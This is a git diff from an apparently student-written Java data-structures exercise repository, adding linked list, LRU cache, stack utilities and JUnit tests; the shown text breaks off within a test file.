diff --git a/group03/569045298/src/main/com/coderising/array/ArrayUtil.java b/group03/569045298/src/main/com/coding/basic/datastructure/array/ArrayUtil.java
similarity index 87%
rename from group03/569045298/src/main/com/coderising/array/ArrayUtil.java
rename to group03/569045298/src/main/com/coding/basic/datastructure/array/ArrayUtil.java
index 992e0652fb..fa5057fbe8 100644
--- a/group03/569045298/src/main/com/coderising/array/ArrayUtil.java
+++ b/group03/569045298/src/main/com/coding/basic/datastructure/array/ArrayUtil.java
@@ -1,6 +1,7 @@
-package com.coderising.array;
+package com.coding.basic.datastructure.array;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Iterator;
 import java.util.List;
 import java.util.Set;
@@ -14,6 +15,9 @@ public class ArrayUtil {
      * 如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
      */
     public int[] reverseArray(int[] origin) {
+        if (origin == null) {
+            return null;
+        }
         for (int i = 0; i < origin.length / 2; i++) {
             int temp = origin[i];
             origin[i] = origin[origin.length - i - 1];
@@ -28,17 +32,17 @@ public int[] reverseArray(int[] origin) {
      * {1,3,4,5,6,6,5,4,7,6,7,5}
      */
     public int[] removeZero(int[] oldArray) {
+        if (oldArray == null) {
+            return null;
+        }
         int[] newArray = new int[oldArray.length];
         int index = 0;
         for (int i = 0; i < oldArray.length; i++) {
             if (oldArray[i] != 0) {
-                newArray[index] = oldArray[i];
-                index++;
+                newArray[index++] = oldArray[i];
             }
         }
-        int[] result = new int[index];
-        System.arraycopy(newArray, 0, result, 0, index);
-        return result;
+        return Arrays.copyOf(newArray, index);
     }
 
     /**
@@ -46,6 +50,12 @@ public int[] removeZero(int[] oldArray) {
      * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
      */
     public int[] merge(int[] array1, int[] array2) {
+        if (array1 == null && array2 == null) {
+            return null;
+        }
+        if (array1 == null || array2 == null) {
+            return array1 == null ? array2 : array1;
+        }
         Set<Integer> set = new TreeSet<>();
         for (int i = 0; i < array1.length; i++) {
             set.add(array1[i]);
@@ -63,6 +73,12 @@ public int[] merge(int[] array1, int[] array2) {
      * [2,3,6,0,0,0]
      */
     public int[] grow(int[] oldArray, int size) {
+        if (oldArray == null) {
+            return null;
+        }
+        if (size < 0) {
+            throw new IndexOutOfBoundsException();
+        }
         int[] newArray = new int[oldArray.length + size];
         System.arraycopy(oldArray, 0, newArray, 0, oldArray.length);
         return newArray;
@@ -75,12 +91,12 @@ public int[] grow(int[] oldArray, int size) {
      */
     public int[] fibonacci(int max) {
         List<Integer> list = new ArrayList<>();
-        for (int i = 1; i < max; i++) {
+        for (int i = 0; i < max; i++) {
             int f = fibonacci2(i);
-            if (f >= max) {
-                break;
-            } else {
+            if (f < max) {
                 list.add(f);
+            } else {
+                break;
             }
         }
         return list2Array(list);
@@ -135,6 +151,9 @@ public int[] getPerfectNumbers(int max) {
      * 则返回值为"3-8-9"
      */
     public String join(int[] array, String seperator) {
+        if (array == null) {
+            return null;
+        }
         StringBuilder stringBuilder = new StringBuilder();
         for (int i = 0; i < array.length; i++) {
             if (i != 0) {
diff --git a/group03/569045298/src/main/com/coding/basic/datastructure/linklist/LRUPageFrame.java b/group03/569045298/src/main/com/coding/basic/datastructure/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..e43767aaf5
--- /dev/null
+++ b/group03/569045298/src/main/com/coding/basic/datastructure/linklist/LRUPageFrame.java
@@ -0,0 +1,106 @@
+package com.coding.basic.datastructure.linklist;
+
+/**
+ * 用双向链表实现LRU算法
+ *
+ * @author zt
+ */
+public class LRUPageFrame {
+
+    private int capacity;
+    private Node first;
+    private Node last;
+    private int size = 0;
+
+    public LRUPageFrame(int capacity) {
+        this.capacity = capacity;
+    }
+
+    /**
+     * 获取缓存中对象
+     */
+    public void access(int pageNum) {
+        if (first == null) {
+            first = new Node();
+            first.pageNum = pageNum;
+            last = first;
+            size++;
+        } else {
+            if (size < capacity) {
+                linkFirst(pageNum);
+                size++;
+            } else {
+                Node p = first;
+                int count = 0;
+                while (p != null) {
+                    if (p.pageNum == pageNum) {
+                        if (p == first) {
+                            break;
+                        } else if (p == last) {
+                            last = p.prev;
+                            p.prev.next = null;
+                            linkNodeToFirst(p);
+                        } else {
+                            p.next.prev = p.prev;
+                            p.prev.next = p.next;
+                            linkNodeToFirst(p);
+                        }
+                        break;
+                    }
+                    p = p.next;
+                    count++;
+                }
+                // if doesn't contains the same value
+                if (count >= size) {
+                    linkFirst(pageNum);
+                    removeLast();
+                }
+            }
+        }
+    }
+
+    private void linkNodeToFirst(Node p) {
+        first.prev = p;
+        p.next = first;
+        p.prev = null;
+        first = p;
+    }
+
+    private void linkFirst(int pageNum) {
+        Node node = new Node();
+        node.pageNum = pageNum;
+        first.prev = node;
+        node.next = first;
+        first = node;
+    }
+
+    private void removeLast() {
+        last = last.prev;
+        last.next = null;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder buffer = new StringBuilder();
+        Node node = first;
+        while (node != null) {
+            buffer.append(node.pageNum);
+            node = node.next;
+            if (node != null) {
+                buffer.append(",");
+            }
+        }
+        return buffer.toString();
+    }
+
+    private static class Node {
+        Node prev;
+        Node next;
+        int pageNum;
+
+        Node() {
+
+        }
+    }
+
+}
diff --git a/group03/569045298/src/main/com/coding/basic/datastructure/linklist/LinkedList.java b/group03/569045298/src/main/com/coding/basic/datastructure/linklist/LinkedList.java
new file mode 100644
index 0000000000..f4d83f6c9c
--- /dev/null
+++ b/group03/569045298/src/main/com/coding/basic/datastructure/linklist/LinkedList.java
@@ -0,0 +1,321 @@
+package com.coding.basic.datastructure.linklist;
+
+import com.coding.basic.datastructure.Iterator;
+import com.coding.basic.datastructure.List;
+
+/**
+ * Created by zt on 2017/2/19.
+ */
+public class LinkedList implements List {
+
+    private Node head;
+
+    private Node tail;
+
+    private int size = 0;
+
+    public LinkedList() {
+
+    }
+
+    @Override
+    public void add(Object object) {
+        if (null == head) {
+            head = new Node(object);
+            head.next = null;
+            tail = head;
+            size++;
+        } else {
+            // 尾插法
+            Node newNode = new Node(object);
+            tail.next = newNode;
+            tail = newNode;
+            tail.next = null;
+            size++;
+        }
+    }
+
+      /*@Override
+    public void add(Object object) {
+        if (null == head) {
+            head = new Node(object);
+            head.next = null;
+        } else {
+            // 头插法
+            Node nextNode = new Node(object);
+            nextNode.next = head.next;
+            head.next = nextNode;
+        }
+    }*/
+
+    @Override
+    public void add(int index, Object object) {
+        checkRange(index);
+        if (null == head) {
+            add(object);
+            return;
+        }
+        if (index == 0) {
+            addFirst(object);
+            return;
+        }
+        Node pre = node(index - 1);
+        Node newNode = new Node(object);
+        newNode.next = pre.next;
+        pre.next = newNode;
+        size++;
+    }
+
+    @Override
+    public Object get(int index) {
+        checkRange(index);
+        checkNodeNotNull();
+        Node node = node(index);
+        return node.data;
+    }
+
+    @Override
+    public Object remove(int index) {
+        checkRange(index);
+        checkNodeNotNull();
+        Object object;
+        if (index == 0) {
+            object = removeFirst();
+            return object;
+        }
+        Node pre = node(index - 1);
+        object = pre.next.data;
+        pre.next = pre.next.next;
+        size--;
+        return object;
+    }
+
+    @Override
+    public int size() {
+        return size;
+    }
+
+    public void addFirst(Object object) {
+        if (null == head) {
+            head = new Node(object);
+            head.next = null;
+            size++;
+        } else {
+            Node firstNode = new Node(object);
+            firstNode.next = head;
+            head = firstNode;
+            size++;
+        }
+    }
+
+    public Object removeFirst() {
+        checkNodeNotNull();
+        Object oldValue = head.data;
+        head = head.next;
+        size--;
+        return oldValue;
+    }
+
+    public Object removeLast() {
+        checkNodeNotNull();
+        Object oldValue;
+        if (size == 1) {
+            oldValue = head.data;
+            head = null;
+            return oldValue;
+        }
+        Node pre = node(size() - 2);
+        oldValue = pre.next.data;
+        pre.next = null;
+        size--;
+        return oldValue;
+    }
+
+    private void checkRange(int index) {
+        if (index > size - 1 || index < 0) {
+            throw new IndexOutOfBoundsException();
+        }
+    }
+
+    private void checkNodeNotNull() {
+        if (null == head) {
+            throw new NullPointerException();
+        }
+    }
+
+    private Node node(int index) {
+        checkRange(index);
+        Node node = head;
+        for (int i = 0; i < index; i++) {
+            node = node.next;
+        }
+        return node;
+    }
+
+    public Iterator iterator() {
+        return new LinkedList.LinkedListIterator();
+    }
+
+    public void reverse() {
+        checkNodeNotNull();
+
+        Node temp = head.next;
+        // 指向原head位置,基准节点
+        Node pivot = head;
+        while (pivot.next != null) {
+            Node p = temp.next;
+            temp.next = head;
+            pivot.next = p;
+            head = temp;
+            temp = p;
+        }
+    }
+
+    /**
+     * 删除一个单链表的前半部分
+     * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+     * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+     */
+    public void removeFirstHalf() {
+        for (int i = 1; i <= size / 2; i++) {
+            removeFirst();
+        }
+    }
+
+    /**
+     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+     */
+    public void remove(int i, int length) {
+        if (i == 0) {
+            for (int j = 0; j < length; j++) {
+                head = head.next;
+                size--;
+            }
+        } else {
+            Node pre = node(i - 1);
+            for (int j = 0; j < length; j++) {
+                pre.next = pre.next.next;
+                size--;
+            }
+        }
+    }
+
+    /**
+     * 假定当前链表和list均包含已升序排列的整数
+     * 从当前链表中取出那些list所指定的元素
+     * 例如当前链表 = 11->101->201->301->401->501->601->701
+     * listB = 1->3->4->6
+     * 返回的结果应该是[101,301,401,601]
+     */
+    public int[] getElements(LinkedList list) {
+        if (list == null) {
+            return null;
+        }
+        int[] result = new int[list.size()];
+        Iterator iterator = list.iterator();
+        int index = (int) iterator.next();
+        int currentIndex = 0;
+        int arrayIndex = 0;
+        Node p = head;
+        while (p != null) {
+            if (index == currentIndex) {
+                result[arrayIndex++] = (int) p.data;
+                if (iterator.hasNext()) {
+                    index = (int) iterator.next();
+                } else {
+                    return result;
+                }
+            }
+            currentIndex++;
+            p = p.next;
+        }
+        return null;
+    }
+
+    /**
+     * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+     */
+    public void removeDuplicateValues() {
+        Node p = head;
+        while (p.next != null) {
+            if (p.data.equals(p.next.data)) {
+                p.next = p.next.next;
+                size--;
+            } else {
+                p = p.next;
+            }
+        }
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+     */
+    public void removeRange(int min, int max) {
+        if (min > max) {
+            throw new RuntimeException("min is larger than max!");
+        }
+        int start = 0;
+        int end = 0;
+        Node node = head;
+        while (node != null) {
+            int data = (int) node.data;
+            if (data <= min) {
+                start++;
+                end++;
+            } else if (data < max) {
+                end++;
+            }
+            node = node.next;
+        }
+        this.remove(start, end - start);
+    }
+
+    private static class Node {
+        Node next;
+        private Object data;
+
+        public Node() {
+
+        }
+
+        public Node(Object data) {
+            this.data = data;
+        }
+
+        public Node(Object data, Node next) {
+            this.data = data;
+            this.next = next;
+        }
+
+        public Node(Object data, Node next, Node prev) {
+            this.data = data;
+            this.next = next;
+        }
+    }
+
+    private class LinkedListIterator implements Iterator {
+
+        private Node cursor = head;
+
+        @Override
+        public boolean hasNext() {
+            return cursor != null;
+        }
+
+        @Override
+        public Object next() {
+            Object data = cursor.data;
+            cursor = cursor.next;
+            return data;
+        }
+
+        @Override
+        public Object remove() {
+            // TODO
+            return null;
+        }
+    }
+
+}
diff --git a/group03/569045298/src/main/com/coding/basic/datastructure/stack/QuickMinStack.java b/group03/569045298/src/main/com/coding/basic/datastructure/stack/QuickMinStack.java
new file mode 100644
index 0000000000..da697ae4b6
--- /dev/null
+++ b/group03/569045298/src/main/com/coding/basic/datastructure/stack/QuickMinStack.java
@@ -0,0 +1,41 @@
+package com.coding.basic.datastructure.stack;
+
+import java.util.Stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回该数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ */
+public class QuickMinStack<E extends Comparable> {
+
+    private Stack<E> stack;
+    private Stack<E> minStack;
+
+    public QuickMinStack() {
+        stack = new Stack<>();
+        minStack = new Stack<>();
+    }
+
+    public void push(E data) {
+        stack.push(data);
+        if (minStack.isEmpty()) {
+            minStack.push(data);
+        } else {
+            if (minStack.peek().compareTo(data) >= 0) {
+                minStack.push(data);
+            }
+        }
+    }
+
+    public E pop() {
+        E top = stack.pop();
+        if (top.compareTo(minStack.peek()) <= 0) {
+            minStack.pop();
+        }
+        return top;
+    }
+
+    public E findMin() {
+        return minStack.peek();
+    }
+}
diff --git a/group03/569045298/src/main/com/coding/basic/datastructure/Stack.java b/group03/569045298/src/main/com/coding/basic/datastructure/stack/Stack.java
similarity index 88%
rename from group03/569045298/src/main/com/coding/basic/datastructure/Stack.java
rename to group03/569045298/src/main/com/coding/basic/datastructure/stack/Stack.java
index c8dbc6b3af..7bd0326872 100644
--- a/group03/569045298/src/main/com/coding/basic/datastructure/Stack.java
+++ b/group03/569045298/src/main/com/coding/basic/datastructure/stack/Stack.java
@@ -1,4 +1,6 @@
-package com.coding.basic.datastructure;
+package com.coding.basic.datastructure.stack;
+
+import com.coding.basic.datastructure.array.ArrayList;
 
 /**
  * Created by zt on 2017/2/19.
diff --git a/group03/569045298/src/main/com/coding/basic/datastructure/stack/StackUtil.java b/group03/569045298/src/main/com/coding/basic/datastructure/stack/StackUtil.java
new file mode 100644
index 0000000000..fb8e2aca2c
--- /dev/null
+++ b/group03/569045298/src/main/com/coding/basic/datastructure/stack/StackUtil.java
@@ -0,0 +1,127 @@
+package com.coding.basic.datastructure.stack;
+
+import java.util.Stack;
+
+public class StackUtil {
+
+    /**
+     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty
+     */
+    public static void reverse(Stack<Integer> s) {
+        if (s == null || s.isEmpty()) {
+            return;
+        }
+        Integer top = s.pop();
+        reverse(s);
+        addToBottom(s, top);
+    }
+
+    public static void addToBottom(Stack<Integer> s, Integer value) {
+        if (s.isEmpty()) {
+            s.push(value);
+        } else {
+            Integer top = s.pop();
+            addToBottom(s, value);
+            s.push(top);
+        }
+    }
+
+    /**
+     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty
+     */
+    public static void remove(Stack s, Object object) {
+        if (s == null || s.isEmpty()) {
+            return;
+        }
+        Stack temp = new Stack();
+        while (!s.isEmpty()) {
+            Object top = s.pop();
+            if (null == object && top != null) {
+                temp.push(top);
+            }
+            if (null != object && !object.equals(top)) {
+                temp.push(top);
+            }
+        }
+        while (!temp.isEmpty()) {
+            s.push(temp.pop());
+        }
+    }
+
+    /**
+     * 从栈顶取得len个元素, 原来的栈中元素保持不变
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty
+     */
+    public static Object[] getTop(Stack s, int len) {
+        if (len < 0) {
+            throw new RuntimeException("length should be larger than zero!");
+        }
+        if (len > s.size()) {
+            throw new RuntimeException("length is bigger than stack size!");
+        }
+        if (s == null || s.isEmpty()) {
+            return null;
+        }
+        Stack temp = new Stack();
+        int count = 0;
+        while (!s.isEmpty() && count++ <= len) {
+            temp.push(s.pop());
+        }
+        Object[] result = new Object[temp.size()];
+        int index = result.length - 1;
+        while (!temp.isEmpty()) {
+            Object top = temp.pop();
+            result[index--] = top;
+            s.push(top);
+        }
+        return result;
+    }
+
+    /**
+     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+     * 使用堆栈检查字符串s中的括号是不是成对出现的。
+     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+     */
+    public static boolean isValidPairs(String s) {
+        Stack<Character> stack = new Stack<>();
+        for (int i = 0; i < s.length(); i++) {
+            char ch = s.charAt(i);
+            switch (ch) {
+                case '(':
+                    stack.push(ch);
+                    break;
+                case ')':
+                    if (!stack.isEmpty() && stack.peek() == '(') {
+                        stack.pop();
+                    } else {
+                        return false;
+                    }
+                    break;
+                case '[':
+                    stack.push(ch);
+                    break;
+                case ']':
+                    if (!stack.isEmpty() && stack.peek() == '[') {
+                        stack.pop();
+                    } else {
+                        return false;
+                    }
+                    break;
+                case '{':
+                    stack.push(ch);
+                    break;
+                case '}':
+                    if (!stack.isEmpty() && stack.peek() == '{') {
+                        stack.pop();
+                    } else {
+                        return false;
+                    }
+                    break;
+            }
+        }
+        return stack.isEmpty();
+    }
+
+}
diff --git a/group03/569045298/src/main/com/coding/basic/datastructure/stack/StackWithTwoQueues.java b/group03/569045298/src/main/com/coding/basic/datastructure/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..d86f161583
--- /dev/null
+++ b/group03/569045298/src/main/com/coding/basic/datastructure/stack/StackWithTwoQueues.java
@@ -0,0 +1,54 @@
+package com.coding.basic.datastructure.stack;
+
+
+import java.util.ArrayDeque;
+import java.util.Queue;
+
+public class StackWithTwoQueues<E> {
+
+    private Queue<E> firstQueue;
+    private Queue<E> secondQueue;
+
+    public StackWithTwoQueues() {
+        firstQueue = new ArrayDeque<>();
+        secondQueue = new ArrayDeque<>();
+    }
+
+    public void push(E data) {
+        if (firstQueue.isEmpty() && secondQueue.isEmpty()) {
+            firstQueue.add(data);
+            return;
+        }
+        if (!firstQueue.isEmpty()) {
+            firstQueue.add(data);
+            return;
+        }
+        if (!secondQueue.isEmpty()) {
+            secondQueue.add(data);
+            return;
+        }
+    }
+
+    public E pop() {
+        E data = null;
+        if (!firstQueue.isEmpty()) {
+            data = this.pop(firstQueue, secondQueue);
+        } else if (!secondQueue.isEmpty()) {
+            data = this.pop(secondQueue, firstQueue);
+        }
+        return data;
+    }
+
+    private E pop(Queue<E> fromQueue, Queue<E> toQueue) {
+        E data = null;
+        while (fromQueue.size() > 0) {
+            if (fromQueue.size() == 1) {
+                data = fromQueue.poll();
+            } else {
+                toQueue.add(fromQueue.poll());
+            }
+        }
+        return data;
+    }
+
+}
diff --git a/group03/569045298/src/main/com/coding/basic/datastructure/stack/TwoStackInOneArray.java b/group03/569045298/src/main/com/coding/basic/datastructure/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..27ff79d345
--- /dev/null
+++ b/group03/569045298/src/main/com/coding/basic/datastructure/stack/TwoStackInOneArray.java
@@ -0,0 +1,86 @@
+package com.coding.basic.datastructure.stack;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ */
+public class TwoStackInOneArray {
+
+    private static final int DEFAULT_CAPACITY = 10;
+    private Object[] data;
+    private int firstIndex;
+    private int lastIndex;
+
+    public TwoStackInOneArray() {
+        this(DEFAULT_CAPACITY);
+    }
+
+    public TwoStackInOneArray(int size) {
+        data = new Object[size];
+        firstIndex = -1;
+        lastIndex = size;
+    }
+
+    /**
+     * 向第一个栈中压入元素
+     */
+    public void push1(Object o) {
+        this.checkPosition();
+        data[++firstIndex] = o;
+    }
+
+    /**
+     * 从第一个栈中弹出元素
+     */
+    public Object pop1() {
+        return data[firstIndex--];
+    }
+
+    /**
+     * 获取第一个栈的栈顶元素
+     */
+
+    public Object peek1() {
+        return data[firstIndex];
+    }
+
+    /**
+     * 向第二个栈压入元素
+     */
+    public void push2(Object o) {
+        this.checkPosition();
+        data[--lastIndex] = o;
+    }
+
+    /**
+     * 从第二个栈弹出元素
+     */
+    public Object pop2() {
+        return data[lastIndex++];
+    }
+
+    /**
+     * 获取第二个栈的栈顶元素
+     */
+
+    public Object peek2() {
+        return data[lastIndex];
+    }
+
+    private void checkPosition() {
+        if (firstIndex + 1 == lastIndex) {
+            this.grow();
+        }
+    }
+
+    private void grow() {
+        Object[] newArray = new Object[data.length << 1];
+        System.arraycopy(data, 0, newArray, 0, firstIndex + 1);
+        int secondStackSize = data.length - lastIndex;
+        int newLastIndex = newArray.length - secondStackSize;
+        System.arraycopy(data, lastIndex, newArray, newLastIndex, secondStackSize);
+        lastIndex = newLastIndex;
+        data = newArray;
+    }
+
+}
diff --git a/group03/569045298/src/main/com/coding/basic/datastructure/stack/expr/InfixExpression.java b/group03/569045298/src/main/com/coding/basic/datastructure/stack/expr/InfixExpression.java
new file mode 100644
index 0000000000..0cbabb008d
--- /dev/null
+++ b/group03/569045298/src/main/com/coding/basic/datastructure/stack/expr/InfixExpression.java
@@ -0,0 +1,15 @@
+package com.coding.basic.datastructure.stack.expr;
+
+public class InfixExpression {
+
+    private String expression;
+
+    public InfixExpression(String expression) {
+        this.expression = expression;
+    }
+
+    public float evaluate() {
+        return 0.0f;
+    }
+
+}
diff --git a/group03/569045298/src/test/coderising/array/ArrayUtilTest.java b/group03/569045298/src/test/coderising/array/ArrayUtilTest.java
index 52638781aa..4ed521a45c 100644
--- a/group03/569045298/src/test/coderising/array/ArrayUtilTest.java
+++ b/group03/569045298/src/test/coderising/array/ArrayUtilTest.java
@@ -1,6 +1,7 @@
 package coderising.array;
 
-import com.coderising.array.ArrayUtil;
+
+import com.coding.basic.datastructure.array.ArrayUtil;
 
 import org.junit.Assert;
 import org.junit.Before;
@@ -38,10 +39,10 @@ public void testRemoveZero() {
     @Test
     public void testFibonacci() {
         int max = 1;
-        int[] expected = {};
+        int[] expected = {0};
         Assert.assertArrayEquals(expected, arrayUtil.fibonacci(max));
         int max2 = 15;
-        int[] expected2 = {1, 1, 2, 3, 5, 8, 13};
+        int[] expected2 = {0, 1, 1, 2, 3, 5, 8, 13};
         Assert.assertArrayEquals(expected2, arrayUtil.fibonacci(max2));
     }
 
@@ -62,7 +63,7 @@ public void testMerge() {
 
     @Test
     public void testGetPerfectNumbers() {
-        int max = 6;
+        int max = 1000;
         arrayUtil.getPerfectNumbers(max);
     }
 
diff --git a/group03/569045298/src/test/coderising/litestruts/StrutsTest.java b/group03/569045298/src/test/coderising/litestruts/StrutsTest.java
index 61c25c3648..4b66733e72 100644
--- a/group03/569045298/src/test/coderising/litestruts/StrutsTest.java
+++ b/group03/569045298/src/test/coderising/litestruts/StrutsTest.java
@@ -1,46 +1,46 @@
-package coderising.litestruts;
-
-import com.coderising.litestruts.Struts;
-import com.coderising.litestruts.View;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import java.util.HashMap;
-import java.util.Map;
-
-
-public class StrutsTest {
-
-    private Struts struts;
-
-    @Before
-    public void setUp() {
-        struts = new Struts();
-    }
-
-    @Test
-    public void testLoginActionSuccess() {
-        String actionName = "login";
-        Map<String, String> params = new HashMap<>();
-        params.put("name", "test");
-        params.put("password", "1234");
-        View view = struts.runAction(actionName, params);
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-    }
-
-    @Test
-    public void testLoginActionFailed() {
-        String actionName = "login";
-        Map<String, String> params = new HashMap<>();
-        params.put("name", "test");
-        // 密码和预设的不一致
-        params.put("password", "123456");
-        View view = struts.runAction(actionName, params);
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-    }
-
-}
+package coderising.litestruts;
+
+import com.coderising.litestruts.Struts;
+import com.coderising.litestruts.View;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class StrutsTest {
+
+    private Struts struts;
+
+    @Before
+    public void setUp() {
+        struts = new Struts();
+    }
+
+    @Test
+    public void testLoginActionSuccess() {
+        String actionName = "login";
+        Map<String, String> params = new HashMap<>();
+        params.put("name", "test");
+        params.put("password", "1234");
+        View view = struts.runAction(actionName, params);
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+    }
+
+    @Test
+    public void testLoginActionFailed() {
+        String actionName = "login";
+        Map<String, String> params = new HashMap<>();
+        params.put("name", "test");
+        // 密码和预设的不一致
+        params.put("password", "123456");
+        View view = struts.runAction(actionName, params);
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+    }
+
+}
diff --git a/group03/569045298/src/test/com/coding/basic/datastructure/TestDataStructure.java b/group03/569045298/src/test/com/coding/basic/datastructure/TestDataStructure.java
index 9f90242595..834b5c566f 100644
--- a/group03/569045298/src/test/com/coding/basic/datastructure/TestDataStructure.java
+++ b/group03/569045298/src/test/com/coding/basic/datastructure/TestDataStructure.java
@@ -1,5 +1,9 @@
 package com.coding.basic.datastructure;
 
+import com.coding.basic.datastructure.array.ArrayList;
+import com.coding.basic.datastructure.linklist.LinkedList;
+import com.coding.basic.datastructure.stack.Stack;
+
 import org.junit.Test;
 
 /**
@@ -8,7 +12,7 @@
 public class TestDataStructure {
 
     @Test
-    public void testLinedList() {
+    public void testLinkedList() {
         LinkedList list = new LinkedList();
         for (int i = 0; i < 5; i++) {
             list.add(i);
@@ -63,4 +67,105 @@ public void testArrayList() {
             System.out.println(arrayList.get(i));
         }
     }
+
+    @Test
+    public void testReverseLinkedList() {
+        LinkedList linkedList = new LinkedList();
+        for (int i = 0; i < 10; i++) {
+            linkedList.add(i);
+        }
+        linkedList.reverse();
+        printLinkedList(linkedList);
+    }
+
+    @Test
+    public void testRemoveLinkedList() {
+        LinkedList linkedList = new LinkedList();
+        for (int i = 0; i < 10; i++) {
+            linkedList.add(i);
+        }
+        linkedList.remove(0, 8);
+        printLinkedList(linkedList);
+    }
+
+    @Test
+    public void testRemoveFirstHalf() {
+        LinkedList linkedList = new LinkedList();
+        for (int i = 0; i < 1; i++) {
+            linkedList.add(i);
+        }
+        linkedList.removeFirstHalf();
+        printLinkedList(linkedList);
+    }
+
+    @Test
+    public void testRemoveDuplicateValues() {
+        LinkedList linkedList = new LinkedList();
+        linkedList.add(1);
+        linkedList.add(2);
+        linkedList.add(2);
+        linkedList.add(2);
+        linkedList.add(3);
+        linkedList.add(3);
+        linkedList.add(4);
+        linkedList.add(4);
+        linkedList.removeDuplicateValues();
+        printLinkedList(linkedList);
+    }
+
+    @Test
+    public void testLinkedListIterator() {
+        LinkedList linkedList = new LinkedList();
+        for (int i = 0; i < 10; i++) {
+            linkedList.add(i);
+        }
+        Iterator iterator = linkedList.iterator();
+        while (iterator.hasNext()) {
+            System.out.println(iterator.next());
+        }
+    }
+
+    @Test
+    public void testGetElements() {
+        LinkedList linkedList = new LinkedList();
+        linkedList.add(11);
+        linkedList.add(101);
+        linkedList.add(201);
+        linkedList.add(301);
+        linkedList.add(401);
+        linkedList.add(501);
+        linkedList.add(601);
+        linkedList.add(701);
+
+        LinkedList indexList = new LinkedList();
+        indexList.add(0);
+        indexList.add(3);
+        indexList.add(4);
+        indexList.add(6);
+
+        int[] result = linkedList.getElements(indexList);
+        for (int i = 0; i < result.length; i++) {
+            System.out.println(result[i]);
+        }
+    }
+
+    @Test
+    public void testRemoveRange() {
+        LinkedList linkedList = new LinkedList();
+        linkedList.add(1);
+        linkedList.add(2);
+        linkedList.add(3);
+        linkedList.add(3);
+        linkedList.add(4);
+        linkedList.add(6);
+        linkedList.add(6);
+        linkedList.removeRange(1, 4);
+        printLinkedList(linkedList);
+    }
+
+    private void printLinkedList(LinkedList linkedList) {
+        for (int i = 0; i < linkedList.size(); i++) {
+            System.out.print(linkedList.get(i) + ",");
+        }
+    }
 }
diff --git a/group03/569045298/src/test/com/coding/basic/datastructure/linklist/LRUPageFrameTest.java b/group03/569045298/src/test/com/coding/basic/datastructure/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..5dbdf98f4e
--- /dev/null
+++ b/group03/569045298/src/test/com/coding/basic/datastructure/linklist/LRUPageFrameTest.java
@@ -0,0 +1,32 @@
+package com.coding.basic.datastructure.linklist;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+
+    @Test
+    public void testAccess() {
+        LRUPageFrame frame = new LRUPageFrame(3);
+        frame.access(7);
+        frame.access(0);
+        frame.access(1);
+        Assert.assertEquals("1,0,7", frame.toString());
+        frame.access(2);
+        Assert.assertEquals("2,1,0", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("0,2,1", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("0,2,1", frame.toString());
+        frame.access(3);
+        Assert.assertEquals("3,0,2", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("0,3,2", frame.toString());
+        frame.access(4);
+        Assert.assertEquals("4,0,3", frame.toString());
+        frame.access(3);
+        Assert.assertEquals("3,4,0", frame.toString());
+    }
+
+}
diff --git a/group03/569045298/src/test/com/coding/basic/datastructure/stack/QuickMinStackTest.java b/group03/569045298/src/test/com/coding/basic/datastructure/stack/QuickMinStackTest.java
new file mode 100644
index 0000000000..dff8f05b6f
--- /dev/null
+++ b/group03/569045298/src/test/com/coding/basic/datastructure/stack/QuickMinStackTest.java
@@ -0,0 +1,34 @@
+package com.coding.basic.datastructure.stack;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+/**
+ * Created by zt
+ * 2017/5/6 16:16
+ */
+public class QuickMinStackTest {
+
+    @Test
+    public void findMin() throws Exception {
+        QuickMinStack<Integer> stack = new QuickMinStack<>();
+        stack.push(9);
+        stack.push(2);
+        stack.push(3);
+        stack.push(2);
+        stack.push(7);
+        stack.push(0);
